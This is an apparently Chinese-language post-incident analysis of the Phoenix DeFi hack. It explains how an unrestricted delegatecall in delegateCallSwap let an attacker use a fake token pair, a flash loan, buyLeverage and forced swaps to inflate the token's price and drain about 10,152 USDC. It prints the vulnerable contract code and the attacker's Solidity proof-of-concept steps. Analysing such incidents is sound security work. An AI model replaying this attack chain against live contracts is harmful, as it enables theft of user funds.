说明
Phoenix是一个任意代码执行的漏洞,类似于在Web2中的RCE类型的漏洞。只不过在Web2中通过RCE,可以直接获取到系统权限。但是在Web3中,一个任意代码执行的漏洞并不一定可以造成危害。任意代码执行漏洞主要关注两个对象,分别是:
- 是合约能够执行代码;
- 合约执行代码之后可以造成什么样的结果;
发现了一个任意代码执行漏洞之后,还需要找到可以执行的合约以及合约需要执行的函数,这样才可以构成一个攻击链。单纯这样说,可能是过于抽象,下面就以一个具体的例子来说明。
基本信息
漏洞函数
delegateCallSwap
leveragedPool
1 2 3 4 5 6 7 8 9
| function delegateCallSwap(bytes memory data) public returns (bytes memory) { (bool success, bytes memory returnData) = phxSwapLib.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; }
|
其中 phxSwapLib 的 值是 0x95620f30263ac0b0B4FFd9B7465838084e89cB84,对应的是一个UniSwapRouter。
因为代码中是phxSwapLib.delegatecall(data),意味着我们可以通过delegateCallSwap()方法调用UniSwapRouter中的任意方法。
攻击分析
下面就是分析攻击者如何利用UniSwapRouter中的任意方法实施攻击的。
addLiquidity
攻击者先创建了一个假的代币,然后将这个假的代币和WETH创建一个Pair放入到Router中。
两者是按照1:1的比例创建的Pair。
1 2 3 4 5
| OPTS = new Options(); OPTS.mint(1_500_000 * 1e18); OPTS.approve(address(Router), type(uint256).max); WETH.approve(address(Router), type(uint256).max); Router.addLiquidity(address(OPTS), address(WETH), 7343113879668122, 7343113879668122, 0, 0, address(this), block.timestamp);
|
实际的执行效果如下:
对应的TX:0x20559f57bbcf98ff115b290e389c7ace5c864109f75545ac6b6b1233b2563584
至于为什么要提前创建一个Pair,后面在实施攻击时就可以看到真正的作用了。
对应的Pair的地址是: 0x0B72bBb6E4eB5baF8E130b3E7A809DD50F17f437
flashloan
攻击者通过闪电贷的方式获得数量为7990000000的USDC。
buyLeverage
攻击者将所有的USDC全部授权给代理合约,并且调用了buyLeverage()方法。
分析buyLeverage()的作用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| function buyLeverage(uint256 amount,uint256 minAmount,uint256 deadLine,bytes calldata data) external payable{ _buy(leverageCoin,amount,minAmount,deadLine,true); }
function _buy(leverageInfo memory coinInfo,uint256 amount,uint256 minAmount,uint256 deadLine,bool bFirstToken) ensure(deadLine) notHalted nonReentrant getUnderlyingPrice internal{ address inputToken; if(bFirstToken){ inputToken = coinInfo.token; }else{ inputToken = (coinInfo.id == 0) ? hedgeCoin.token : leverageCoin.token; } // inputToken: USDC amount = getPayableAmount(inputToken,amount); require(amount > 0, 'buy amount is zero'); uint256 userPay = amount; amount = redeemFees(buyFee,inputToken,amount); uint256 price = _tokenNetworthBuy(coinInfo,currentPrice); uint256 leverageAmount = bFirstToken ? amount.mul(calDecimal)/price : amount.mulPrice(currentPrice,coinInfo.id)/price; require(leverageAmount>=minAmount,"token amount is less than minAmount"); { uint256 userLoan = (leverageAmount.mul(coinInfo.rebalanceWorth)/calDecimal).mul(coinInfo.leverageRate-feeDecimal)/feeDecimal; userLoan = coinInfo.stakePool.borrow(userLoan); amount = bFirstToken ? userLoan.add(amount) : userLoan; //98% uint256 amountOut = amount.mul(98e16).divPrice(currentPrice,coinInfo.id); address token1 = (coinInfo.id == 0) ? hedgeCoin.token : leverageCoin.token; // coinInfo.token: USDC // token1: WETH // amount: 18250326219 // 将 USDC 全部换成 WETH, amount = _swap(coinInfo.token,token1,amount); require(amount>=amountOut, "swap slip page is more than 2%"); } coinInfo.leverageToken.mint(msg.sender,leverageAmount); price = price.mul(currentPrice[coinInfo.id])/calDecimal; if(coinInfo.id == 0){ emit BuyLeverage(msg.sender,inputToken,userPay,leverageAmount,price); }else{ emit BuyHedge(msg.sender,inputToken,userPay,leverageAmount,price); } }
function _swap(address token0,address token1,uint256 amountSell) internal returns (uint256){ return abi.decode(delegateCallSwap(abi.encodeWithSignature("swap(address,address,address,uint256)",swapRouter,token0,token1,amountSell)), (uint256)); }
|
最终通过buyLeverage()方法,合约 phxProxy 最终会额外获得11427787484044293732WETH。
最终在合约0x65baf1dc6fa0c7e459a36e2e310836b396d1b1de中的ETH是11427787484044293732。
delegateCallSwap
1 2 3 4
| uint256 swapAmount = WETH.balanceOf(address(phxProxy)); bytes memory swapData = abi.encodeWithSignature("swap(address,address,address,uint256)", address(Router), address(WETH), address(OPTS), swapAmount); phxProxy.delegateCallSwap(swapData); // WETH swap to MYTOKEN
|
对应的代码逻辑是:
1 2 3 4 5
| address[] memory path = new address[](3); path[0] = address(OPTS); path[1] = address(WETH); path[2] = address(USDC); Router.swapExactTokensForTokens(1_000_000 * 1e18, 0, path, address(this), block.timestamp); // OPTIONS swap to USDC
|
此时因为前面已经调用过buyLeverage(),导致此时合约 phxProxy(0x65baf1dc6fa0c7e459a36e2e310836b396d1b1de)中存在大量的ETH。
然后利用delegateCallSwap的任意代码执行漏洞,将phxProxy中的ETH全部换成OPTS,这样就会导致OPTS变得更贵了。
在没有进行SWAP操作之前:

此时OPTS-WETH的比例是1:1,数量都是7343113879668122
在进行SWAP操作之后:
此时``OPTS-WETH之间的代币比例发生了,已经分别变成了4935937916890,11427787484100531361`。
即攻击者创建的OPTS在经过delegateCallSwap()之后已经变得更贵了。
swapExactTokensForTokens
执行完delegateCallSwap()之后,OPTS在经过delegateCallSwap()之后已经变得更贵了。攻击者就讲手中所有的OPTS全部兑换为USDC。
1 2 3 4 5
| address[] memory path = new address[](3); path[0] = address(OPTS); path[1] = address(WETH); path[2] = address(USDC); Router.swapExactTokensForTokens(1_000_000 * 1e18, 0, path, address(this), block.timestamp); // MYTOKEN swap to USDC
|
最终攻击者通过swapExactTokensForTokens,获得数量为18142669795的USDC。
获利
攻击者通过供给套利最终获得了18142669795,除去闪电贷的金额7990000000,最终攻击者获利:
1
| 18142669795 - 7990000000 = 10152669795
|
参考
https://twitter.com/HypernativeLabs/status/1633090456157401088